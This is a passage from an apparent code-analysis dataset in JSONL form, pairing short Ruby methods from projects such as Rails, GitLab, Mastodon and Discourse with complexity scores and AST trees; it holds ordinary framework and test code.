:\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_internal=\",{\"type\":\"lvar\",\"children\":[\"old_default_internal\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Weird\"]},\"reset_column_information\"]}]}]}]}","id":"f3850141-6fd5-424e-bff3-06a76be697e1"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/create_service.rb","start_line":79,"raw_source":"def set_templated_subject(work_package)\n return true unless work_package.type&.replacement_pattern_defined_for?(:subject)\n\n work_package.subject = work_package.type.enabled_patterns[:subject].resolve(work_package)\n work_package.save\n end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_templated_subject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"type\"]},\"replacement_pattern_defined_for?\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"subject=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"type\"]},\"enabled_patterns\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},\"resolve\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"save\"]}]}]}","id":"3d3fa0a6-187b-4d3b-92ea-d896af9c3c92"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/upload_exec.rb","start_line":70,"raw_source":"def args\n datastore['ARGS']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ARGS\"]}]}]}","id":"a4ebdc2f-f1db-4d9d-8893-96dde47a6123"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/devise_helpers.rb","start_line":27,"raw_source":"def with_omniauth_full_host(&block)\n # The OmniAuth `full_host` parameter doesn't get set correctly (it gets set to something like `http://localhost`\n # here), and causes integration tests to fail with 404s. We set the `full_host` by removing the request path (and\n # anything after it) from the request URI.\n omniauth_config_full_host = OmniAuth.config.full_host\n OmniAuth.config.full_host = ->(request) { ActionDispatch::Request.new(request).base_url }\n\n yield\n\n OmniAuth.config.full_host = omniauth_config_full_host\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"with_omniauth_full_host\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"omniauth_config_full_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OmniAuth\"]},\"config\"]},\"full_host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OmniAuth\"]},\"config\"]},\"full_host=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},\"base_url\"]}]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OmniAuth\"]},\"config\"]},\"full_host=\",{\"type\":\"lvar\",\"children\":[\"omniauth_config_full_host\"]}]}]}]}","id":"da225102-cf54-46a3-b14a-93e11d08867b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/2_secret_token.rb","start_line":121,"raw_source":"def backup_pathname\n @backup_pathname ||= Pathname(Settings.backup.path)\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"backup_pathname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@backup_pathname\"]},{\"type\":\"send\",\"children\":[null,\"Pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"backup\"]},\"path\"]}]}]}]}","id":"a91e5ee7-1af1-4f31-aebe-064629e6bd12"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/mysql2/dbconsole_test.rb","start_line":66,"raw_source":"def test_mysql_can_use_alternative_cli\n ActiveRecord.database_cli[:mysql] = \"mycli\"\n config = make_db_config(adapter: \"mysql2\", database: \"db\", database_cli: \"mycli\")\n\n assert_find_cmd_and_exec_called_with([\"mycli\", \"db\"]) do\n Mysql2Adapter.dbconsole(config)\n end\n ensure\n ActiveRecord.database_cli[:mysql] = %w[mysql mysql5]\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mysql_can_use_alternative_cli\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"database_cli\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mysql\"]},{\"type\":\"str\",\"children\":[\"mycli\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[null,\"make_db_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"mysql2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"db\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database_cli\"]},{\"type\":\"str\",\"children\":[\"mycli\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_find_cmd_and_exec_called_with\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mycli\"]},{\"type\":\"str\",\"children\":[\"db\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2Adapter\"]},\"dbconsole\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"database_cli\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mysql\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"mysql\"]},{\"type\":\"str\",\"children\":[\"mysql5\"]}]}]}]}]}","id":"4f5c81dc-d8e5-46ba-9b3c-207713923b55"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/list_refs_sort.rb","start_line":27,"raw_source":"def direction\n return Gitaly::SortDirection::DESCENDING if match?('desc')\n\n Gitaly::SortDirection::ASCENDING\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"direction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"match?\",{\"type\":\"str\",\"children\":[\"desc\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"SortDirection\"]},\"DESCENDING\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"SortDirection\"]},\"ASCENDING\"]}]}]}","id":"4626cb68-4363-484f-9f1e-43bc18fe41f8"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/future_result.rb","start_line":135,"raw_source":"def pending?\n @pending && (!@session || @session.active?)\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pending?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pending\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session\"]},\"active?\"]}]}]}]}]}","id":"45077ba0-fc04-4689-8913-bce0422a0651"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/monitor/quiesce.rb","start_line":50,"raw_source":"def quiesce_workers_loop_timeout?\n if Time.now.utc > (@quiesce_started_on + @quiesce_loop_timeout)\n _log.warn(\"Timed out after #{@quiesce_loop_timeout} seconds\")\n return true\n end\n false\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"quiesce_workers_loop_timeout?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\">\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quiesce_started_on\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@quiesce_loop_timeout\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Timed out after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quiesce_loop_timeout\"]}]},{\"type\":\"str\",\"children\":[\" seconds\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"9ccf47d6-80f9-4ae2-9f83-dbe51cf5a84d"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/log_subscriber_test.rb","start_line":18,"raw_source":"def setup\n super\n @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new\n @old_logger = ActionView::LogSubscriber.logger\n ActionView::LogSubscriber.logger = @logger\n\n ActionView::LookupContext::DetailsKey.clear\n\n view_paths = ActionController::Base.view_paths\n\n lookup_context = ActionView::LookupContext.new(view_paths, {}, [\"test\"])\n @view = ActionView::Base.with_empty_template_cache.with_context(lookup_context)\n\n unless Rails.respond_to?(:root)\n @defined_root = true\n Rails.define_singleton_method(:root) { :defined_root } # Minitest `stub` expects the method to be defined.\n end\n end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"LogSubscriber\"]},\"TestHelper\"]},\"MockLogger\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"LogSubscriber\"]},\"logger\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"LogSubscriber\"]},\"logger=\",{\"type\":\"ivar\",\"children\":[\"@logger\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"LookupContext\"]},\"DetailsKey\"]},\"clear\"]},{\"type\":\"lvasgn\",\"children\":[\"view_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"view_paths\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lookup_context\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"LookupContext\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"view_paths\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@view\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"with_empty_template_cache\"]},\"with_context\",{\"type\":\"lvar\",\"children\":[\"lookup_context\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"root\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@defined_root\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"root\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"defined_root\"]}]}]}]}]}]}","id":"f5327a3a-b0f2-4994-8ed7-812cfa503b6b"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/roles_controller.rb","start_line":13,"raw_source":"def new\n authorize :user_role, :create?\n\n @role = UserRole.new\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"user_role\"]},{\"type\":\"sym\",\"children\":[\"create?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@role\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserRole\"]},\"new\"]}]}]}]}","id":"f40e57fd-7a1e-4fdb-982f-4eea772b73fc"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/nuget/package_finder.rb","start_line":19,"raw_source":"def packages\n result = find_by_name\n find_by_version(result)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"packages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"find_by_name\"]}]},{\"type\":\"send\",\"children\":[null,\"find_by_version\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"4a83bc43-1d0e-48a3-bb79-360611bed083"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/base_resolver.rb","start_line":23,"raw_source":"def self.calls_gitaly?\n !!@calls_gitaly\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"calls_gitaly?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@calls_gitaly\"]},\"!\"]},\"!\"]}]}","id":"c07aa430-229f-456f-b046-e39e05679d65"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/parser/poll_parser.rb","start_line":10,"raw_source":"def valid?\n equals_or_includes?(@json['type'], 'Question') && items.is_a?(Array)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Question\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"items\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]}]}","id":"aff6f165-178a-45d5-a24f-0a24fed42f6b"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements.rb","start_line":172,"raw_source":"def data_source_sql(name = nil, type: nil)\n scope = quoted_scope(name, type: type)\n scope[:type] ||= \"'table','view'\"\n\n sql = +\"SELECT name FROM pragma_table_list WHERE schema <> 'temp'\"\n sql << \" AND name NOT IN ('sqlite_sequence', 'sqlite_schema')\"\n sql << \" AND name = #{scope[:name]}\" if scope[:name]\n sql << \" AND type IN (#{scope[:type]})\"\n sql\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"data_source_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[null,\"quoted_scope\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"'table','view'\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT name FROM pragma_table_list WHERE schema <> 'temp'\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\" AND name NOT IN ('sqlite_sequence', 'sqlite_schema')\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" AND name = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" AND type IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}","id":"97ace5ba-828f-4565-ad0f-880644969271"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods.rb","start_line":66,"raw_source":"def alias_attribute(new_name, old_name)\n super\n\n if @alias_attributes_mass_generated\n ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |code_generator|\n generate_alias_attribute_methods(code_generator, new_name, old_name)\n end\n end\n end","complexity_score":6.03,"ast_json":"{\"type\":\"def\",\"children\":[\"alias_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_name\"]},{\"type\":\"arg\",\"children\":[\"old_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@alias_attributes_mass_generated\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"CodeGenerator\"]},\"batch\",{\"type\":\"send\",\"children\":[null,\"generated_attribute_methods\"]},{\"type\":\"str\",\"children\":[\"(method)\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code_generator\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_alias_attribute_methods\",{\"type\":\"lvar\",\"children\":[\"code_generator\"]},{\"type\":\"lvar\",\"children\":[\"new_name\"]},{\"type\":\"lvar\",\"children\":[\"old_name\"]}]}]},null]}]}]}","id":"007309ba-57f8-4b8b-aac3-0792dfdfbc42"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/zentao/client_spec.rb","start_line":18,"raw_source":"def mock_fetch_issue_url(issue_id)\n client.send(:url, \"issues/#{issue_id}\")\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mock_fetch_issue_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send\",{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"issues/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]}]}]}","id":"d5242ba7-a9f6-4b8d-80ca-9f9cdde47c32"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/listable_topic_serializer.rb","start_line":181,"raw_source":"def theme_modifier_helper\n @theme_modifier_helper ||= ThemeModifierHelper.new(request: scope.request)\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"theme_modifier_helper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@theme_modifier_helper\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThemeModifierHelper\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"request\"]}]}]}]}]}]}","id":"0e6f705d-94b3-4220-9bf2-14d2ec04d3e5"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_rake_test.rb","start_line":99,"raw_source":"def test_db_create_with_error_prints_message\n ActiveRecord::Base.stub(:lease_connection, @connection) do\n ActiveRecord::Base.stub(:establish_connection, -> * { raise Exception }) do\n assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration }\n assert_match \"Couldn't create '#{@configuration['database']}' database. Please check your configuration.\", $stderr.string\n end\n end\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_db_create_with_error_prints_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"lease_connection\"]},{\"type\":\"ivar\",\"children\":[\"@connection\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Exception\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create\",{\"type\":\"ivar\",\"children\":[\"@configuration\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't create '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configuration\"]},\"[]\",{\"type\":\"str\",\"children\":[\"database\"]}]}]},{\"type\":\"str\",\"children\":[\"' database. Please check your configuration.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"string\"]}]}]}]}]}]}","id":"f4c95b4e-c1ef-4843-9d7a-ce5eda7da874"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/testflight/testflight_stubbing.rb","start_line":56,"raw_source":"def stub_beta_feedbacks\n stub_request(:get, \"https://appstoreconnect.apple.com/iris/v1/betaFeedbacks\").\n to_return(status: 200, body: read_fixture_file('beta_feedbacks.json'), headers: { 'Content-Type' => 'application/json' })\n end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_beta_feedbacks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://appstoreconnect.apple.com/iris/v1/betaFeedbacks\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"read_fixture_file\",{\"type\":\"str\",\"children\":[\"beta_feedbacks.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"643ccdc0-d2ab-41b1-b66b-0b19c8aaede1"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/notifier.rb","start_line":406,"raw_source":"def notify_watching_users(except: [])\n Jobs.enqueue_in(\n 5.seconds,\n Jobs::Chat::NotifyWatching,\n { chat_message_id: @chat_message.id, except_user_ids: except, timestamp: @timestamp.to_s },\n )\n end","complexity_score":4.95,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_watching_users\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"except\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue_in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"Chat\"]},\"NotifyWatching\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chat_message\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except_user_ids\"]},{\"type\":\"lvar\",\"children\":[\"except\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp\"]},\"to_s\"]}]}]}]}]}","id":"48bcf0e0-0f1e-4b00-9395-edd784da7d11"}
